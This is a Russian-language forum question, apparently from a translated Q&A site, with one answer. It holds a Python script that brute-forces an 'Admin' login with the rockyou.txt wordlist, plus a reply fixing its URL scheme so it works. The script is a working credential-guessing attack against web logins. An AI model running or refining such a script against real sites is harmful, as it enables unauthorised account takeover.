Python Requests.Post - Windows возвращает 301 код состояния, Linux 200/302 - PullRequest
0 голосов
/ 13 февраля 2020

Итак, я пытаюсь создать комбо «Имя пользователя / Пароль» на веб-сайте друга (что мне разрешено), и я делал это таким образом, чтобы, если status_code, возвращенная функцией requests.post, была 200 (Ok) это будет неудачная попытка, и если она вернет 302 (найдено) , она будет успешной. (Это был способ, которым веб-сайт реагировал, когда я вошел в систему правильно и неправильно).

Теперь я делал это на Linux раньше, где он работал, но мне пришлось переключиться обратно на Windows и теперь он всегда возвращает 301 (перемещено постоянно) . allow_redirects установлен на False в обоих случаях, поэтому я понятия не имею, что происходит.

Вот полный код:

import requests
url = 'BLAHBLAHBLAH.com/login.php'


username = 'Admin'
passwords = open('rockyou.txt', 'r', encoding='unicode_escape').read().split("\n")

for password in passwords:
    try:
        response = requests.post(url, allow_redirects=False, data={'username': username, 'password': password})
        login = "'" + username + "' : '" + password + "'"
        print("Trying " + login)

        print(response.status_code)

        if response.status_code == 302:
            print('Match found - ' + login)
            break
        elif response.status_code == 200:
            pass
        else:
            pass
    except Exception as e:
        print(str(e))

1 Ответ

0 голосов
/ 21 февраля 2020

Эта ошибка обычно возникает при попытке доступа к сайту HTTPS через HTTP. Добавьте протокол к вашему URL, и он должен работать.

url = 'https://BLAHBLAHBLAH.com/login.php'

...